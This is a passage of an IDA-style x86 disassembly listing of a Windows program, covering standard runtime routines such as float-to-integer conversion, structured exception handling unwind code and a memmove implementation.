		mov	off_43D430, offset sub_422223
		mov	off_43D434, eax
		retn
sub_41D13C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D174	proc near		; CODE XREF: sub_40D2F4+1Bp
					; sub_40D2F4+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41D174	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D19B(double)

sub_41D19B	proc near		; CODE XREF: sub_40D340+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AE28
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D221
		call	sub_421F51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41D204
		cmp	eax, 2
		jle	short loc_41D1F6
		cmp	eax, 3
		jnz	short loc_41D204
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_421861
		add	esp, 10h
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D1F6:				; CODE XREF: sub_41D19B+3Fj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D204:				; CODE XREF: sub_41D19B+3Aj
					; sub_41D19B+44j
		fld	[ebp+arg_0]
		fadd	dbl_4276F8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41D25E
; ---------------------------------------------------------------------------


loc_41D221:				; CODE XREF: sub_41D19B+2Fj
		call	sub_421F16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D244


loc_41D236:				; CODE XREF: sub_41D19B+ACj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D244:				; CODE XREF: sub_41D19B+99j
		test	bl, 20h
		jnz	short loc_41D236
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41D25E:				; CODE XREF: sub_41D19B+84j
		call	sub_4218B4
		add	esp, 1Ch


loc_41D266:				; CODE XREF: sub_41D19B+59j
					; sub_41D19B+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41D19B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D26A	proc near		; CODE XREF: ___:00422A22p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41D26A	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41D29E	proc near		; CODE XREF: sub_422B62+199p
					; sub_422D26+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D29E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D2A5	proc near		; CODE XREF: sub_422B62+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D2A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D2AC	proc near		; CODE XREF: sub_41D45E+5Cp
					; sub_4229B1:loc_4229E2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41D2D4
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_426356
sub_41D2AC	endp

; ---------------------------------------------------------------------------


loc_41D2D4:				; DATA XREF: sub_41D2AC+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41D2FB:				; CODE XREF: ___:00426AACj
					; ___:00426AC9j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4225B6
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D331	proc near		; CODE XREF: sub_422A2C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41D385
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422DB0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41D331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D385	proc near		; DATA XREF: sub_41D331+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4225B6
		add	esp, 20h
		pop	ebp
		retn
sub_41D385	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D3AA	proc near		; CODE XREF: sub_4227F8+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41D45E
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41D430
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DBE70
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41D430:				; DATA XREF: sub_41D3AA+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41D44D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41D456
; ---------------------------------------------------------------------------


loc_41D44D:				; CODE XREF: sub_41D3AA+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41D456:				; CODE XREF: sub_41D3AA+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D3AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D45E	proc near		; DATA XREF: sub_41D3AA+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41D481
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41D4CE
; ---------------------------------------------------------------------------


loc_41D481:				; CODE XREF: sub_41D45E+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4225B6
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41D4BF
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41D2AC
; ---------------------------------------------------------------------------


loc_41D4BF:				; CODE XREF: sub_41D45E+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41D4CE:				; CODE XREF: sub_41D45E+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D45E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4D3	proc near		; CODE XREF: sub_422651+C6p
					; sub_4227F8+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41D52A


loc_41D4F1:				; CODE XREF: sub_41D4D3+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D4FB
		call	sub_422E52


loc_41D4FB:				; CODE XREF: sub_41D4D3+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41D510
		cmp	ecx, [eax+8]
		jle	short loc_41D515


loc_41D510:				; CODE XREF: sub_41D4D3+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D521


loc_41D515:				; CODE XREF: sub_41D4D3+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41D521:				; CODE XREF: sub_41D4D3+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41D4F1
		mov	eax, [ebp+var_4]


loc_41D52A:				; CODE XREF: sub_41D4D3+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41D53E
		cmp	esi, eax
		jbe	short loc_41D543


loc_41D53E:				; CODE XREF: sub_41D4D3+65j
		call	sub_422E52


loc_41D543:				; CODE XREF: sub_41D4D3+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41D4D3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D550	proc near		; CODE XREF: sub_423CC0+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41D568
		push	[ebp+arg_0]
		call	sub_426356
sub_41D550	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D568	proc near		; DATA XREF: sub_41D550+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D568	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D570	proc near		; DATA XREF: sub_41D592+Ao
					; sub_41D5FA+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41D591
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41D591:				; CODE XREF: sub_41D570+10j
		retn
sub_41D570	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D592	proc near		; CODE XREF: sub_422AD2+Dp
					; sub_423CC0+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41D570
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41D5AF:				; CODE XREF: sub_41D592:loc_41D5EAj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D5EC
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41D5EC
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41D5EA
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41D626
		call	dword ptr [ebx+esi*4+8]


loc_41D5EA:				; CODE XREF: sub_41D592+44j
		jmp	short loc_41D5AF
; ---------------------------------------------------------------------------


loc_41D5EC:				; CODE XREF: sub_41D592+2Aj
					; sub_41D592+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5FA	proc near		; CODE XREF: sub_422AF2+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41D570
		jnz	short locret_41D61C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41D61C
		mov	eax, 1

locret_41D61C:				; CODE XREF: sub_41D5FA+10j
					; sub_41D5FA+1Bj
		retn
sub_41D5FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D61D	proc near		; CODE XREF: sub_422DB0+1Ep
					; sub_422DB0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AE2C
		jmp	short loc_41D630
sub_41D61D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D626	proc near		; CODE XREF: sub_41D592+4Fp
					; sub_423CC0+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AE2C
		mov	ecx, [ebp+8]


loc_41D630:				; CODE XREF: sub_41D61D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41D626	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D640	proc near		; CODE XREF: sub_40D340+5p
					; sub_40D4E2+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41D640	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D65F	proc near		; CODE XREF: sub_40D977+26p
					; ___:004260F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41BA91
		pop	ecx
		retn
sub_41D65F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D670	proc near		; CODE XREF: sub_40D9E8+3Ap
					; sub_41E742+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41D690
		cmp	edi, eax
		jb	loc_41D808


loc_41D690:				; CODE XREF: sub_41D670+16j
		test	edi, 3
		jnz	short loc_41D6AC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------


loc_41D6AC:				; CODE XREF: sub_41D670+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41D6C4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41D6CC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D6C4:				; CODE XREF: sub_41D670+46j
		jmp	dword ptr loc_41D7C8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D6CC:				; CODE XREF: sub_41D670+31j
					; sub_41D670+8Ej ...
		jmp	off_41D74C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D6E0
		dd offset loc_41D70C
		dd offset loc_41D730
; ---------------------------------------------------------------------------


loc_41D6E0:				; DATA XREF: sub_41D670+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D70C:				; DATA XREF: sub_41D670+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D730:				; DATA XREF: sub_41D670+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D74C	dd offset loc_41D7AF	; DATA XREF: sub_41D670:loc_41D6CCr
		dd offset loc_41D79C
		dd offset loc_41D794
		dd offset loc_41D78C
		dd offset loc_41D784
		dd offset loc_41D77C
		dd offset loc_41D774
		dd offset loc_41D76C
; ---------------------------------------------------------------------------


loc_41D76C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41D774:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41D77C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41D784:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41D78C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41D794:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41D79C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D7AF:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670:off_41D74Co
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D7B8	dd offset loc_41D7C8	; DATA XREF: sub_41D670+35r
					; sub_41D670+92r ...
		dd offset loc_41D7D0
		dd offset loc_41D7DC
		dd offset loc_41D7F0
; ---------------------------------------------------------------------------


loc_41D7C8:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D7D0:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D7DC:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D7F0:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D808:				; CODE XREF: sub_41D670+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41D83C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D830:				; CODE XREF: sub_41D670+1B1j
					; sub_41D670+208j ...
		neg	ecx
		jmp	off_41D900[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D83C:				; CODE XREF: sub_41D670+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41D854
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41D854+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D854:				; CODE XREF: sub_41D670+1D6j
					; DATA XREF: sub_41D670+1DDr
		jmp	off_41D950[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		push	880041D8h
		fadd	dword ptr [ecx+0]
		mov	al, 0D8h
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D904
		dd offset loc_41D90C
		dd offset loc_41D914
		dd offset loc_41D91C
		dd offset loc_41D924
		dd offset loc_41D92C
		dd offset loc_41D934
off_41D900	dd offset loc_41D947	; DATA XREF: sub_41D670+1C2r
; ---------------------------------------------------------------------------


loc_41D904:				; DATA XREF: sub_41D670+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41D90C:				; DATA XREF: sub_41D670+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41D914:				; DATA XREF: sub_41D670+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41D91C:				; DATA XREF: sub_41D670+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41D924:				; DATA XREF: sub_41D670+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41D92C:				; DATA XREF: sub_41D670+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41D934:				; DATA XREF: sub_41D670+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D947:				; CODE XREF: sub_41D670+1C2j
					; DATA XREF: sub_41D670:off_41D900o
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D950	dd offset loc_41D960	; DATA XREF: sub_41D670+1B7r
					; sub_41D670:loc_41D854r ...
		dd offset loc_41D968
		dd offset loc_41D978
		dd offset loc_41D98C
; ---------------------------------------------------------------------------


loc_41D960:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D968:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D978:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D98C:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
